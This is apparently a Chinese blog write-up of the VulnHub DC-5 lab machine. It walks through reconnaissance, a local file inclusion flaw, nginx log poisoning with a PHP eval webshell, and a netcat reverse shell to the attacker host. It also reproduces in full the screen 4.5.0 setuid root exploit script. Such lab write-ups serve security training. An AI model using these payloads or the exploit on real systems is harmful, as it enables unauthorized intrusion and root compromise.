DC-5靶机

一.环境搭建

1.下载地址

靶机下载地址:https://download.vulnhub.com/dc/DC-5.zip

2.虚拟机配置

切换nat模式,有问题全选重试和是,打到这了,我感觉这个配置我都不用写了,启动靶机如下图所示即可

二.开始渗透

1.信息收集

同样,扫描kali同一网段,查看靶机的ip地址

复制代码
arp-scan -l

得到靶机ip地址为192.168.111.133,kali(攻击机)ip地址为192.168.111.128

用nmap扫描一下靶机开启了什么端口和服务

复制代码
nmap -p- -sV 192.168.111.133

开启一个http,去浏览器看看这个http服务

翻译一下他的文章内容

啥玩意没有,点击contact,发现一个留言板,测试了xss啥也没有

用目录扫描工具进行目录扫描

复制代码
dirsearch -u http://192.168.111.133

扫描到几个比较可疑的路径footer和thankyou,点击进去看看

刷新他们俩的界面,日期会随机改变,thankyou.php引用了footer.php

尝试文件包含读取thankyou.php文件和其他文件,发现有内容输出

复制代码
http://192.168.111.133/thankyou.php?file=php://filter/convert.base64-encode/resource=./thankyou.php

读取/etc/passwd,可以看到读取内容

2.获取shell

得知文件包含漏洞,我们可以在ssh日志,中间件日志以及临时文件中写入一句话木马然后进行包含,即可解析。我们可以利用nginx日志写入一句话木马

复制代码
whatweb -v http://192.168.111.133

根据这个工具我们可以得知这个网站的中间件为nginx

在url中构造一个一句话木马并且访问,日志会记录下来

复制代码
http://192.168.111.133/<?php @eval($_POST['mlws']); ?>

上面那个没试过,下面这个试了成功, 都需要在bp中进行操作

复制代码
/thankyou.php?file=<?php @eval($_POST['mlws']);?> 

一般来说linux的nginx访问日志放在如下目录

复制代码
/var/log/nginx/access.log

错误日志路径如下

复制代码
/var/log/nginx/error.log

构造如下url

复制代码
http://192.168.111.133/thankyou.php?file=/var/log/nginx/access.log

上面的这个链接试过了可以访问,下面这个链接没试过(可以尝试一下)

复制代码
http://192.168.111.133/thankyou.php?file=/var/log/nginx/error.log

以上操作要在bp中发包,我直接在浏览器中修改,不知道为什么无法写入

如上图所示,我试了在浏览器中无法写入日志,打开蚁剑连接shell

3.反弹shell

kali端启一个端口监听

复制代码
nc -lvvp 4444

在蚁剑打开终端,输入如下命令

复制代码
nc 192.168.111.128 4444 -e /bin/bash

用python创建一个交互式的shell

复制代码
python -c 'import pty;pty.spawn("/bin/bash")'

4.提权

进行suid提权,执行如下命令

复制代码
find / -perm -u=s -type f 2>/dev/null

可以看到一个screen-4.5.0,在kali的漏洞库查看是否有提权漏洞

复制代码
searchsploit screen 4.5.0

刚好有两个本地权限提升的漏洞可以利用,查看漏洞的具体内容

复制代码
searchsploit -p 41154

查看文件的内容

复制代码
cat /usr/share/exploitdb/exploits/linux/local/41154.sh

得到如下内容

复制代码
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

先将第一部分写入libhax.c文件中

第一部分

复制代码
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

然后进行编译

复制代码
gcc -fPIC -shared -ldl -o libhax.so libhax.c

将中间的代码存入rootshell.c中

中间部分代码

复制代码
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

进行编译

复制代码
gcc -o rootshell rootshell.c

剩余的代码保存到dc5.sh

复制代码
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell   

并且输入

复制代码
:set ff=unix

将如下三个文件上传至/temp目录下(注意:不是/var/temp)

给予运行权限

复制代码
chmod 777 dc5.sh

./dc5.sh

无法执行脚本,发现很多wp都有提到这个问题,不知解决方法,也尝试了exim4,也是无效

相关推荐
python算法(魔法师版)8 分钟前
API安全
网络·物联网·网络协议·安全·网络安全
GIS数据转换器13 分钟前
当三维地理信息遇上气象预警:电网安全如何实现“先知先觉”?
人工智能·科技·安全·gis·智慧城市·交互
网易易盾13 分钟前
AIGC时代的内容安全:AI检测技术如何应对新型风险挑战?
人工智能·安全·aigc
w236173460115 分钟前
识别安全网站,上网不再踩坑
安全
一刀到底21115 分钟前
做为一个平台,给第三方提供接口的时候,除了要求让他们申请 appId 和 AppSecret 之外,还应当有哪些安全选项,要过等保3级
java·网络·安全
it技术分享just_free16 分钟前
软考教材重点内容 信息安全工程师 第24章 工控安全需求分析与安全保护工程
web安全·网络安全·信息安全·系统安全·软考
mooyuan天天1 小时前
upload-labs通关笔记-第2关 文件上传之MIME绕过
web安全·文件上传·文件上传漏洞·mime·upload-labs靶场
Johny_Zhao1 小时前
Ubuntu安装部署Zabbix网络监控平台和设备配置添加
linux·网络·mysql·网络安全·信息安全·云计算·apache·zabbix·shell·yum源·系统运维·itsm
mooyuan天天3 小时前
upload-labs通关笔记-第3关 文件上传之黑名单绕过
web安全·文件上传·文件上传漏洞·upload-labs靶场
优质网络系统领域创作者4 小时前
思科(Cisco ASA/Firepower)、华三(H3C)、华为(Huawei USG)防火墙 的基础配置
安全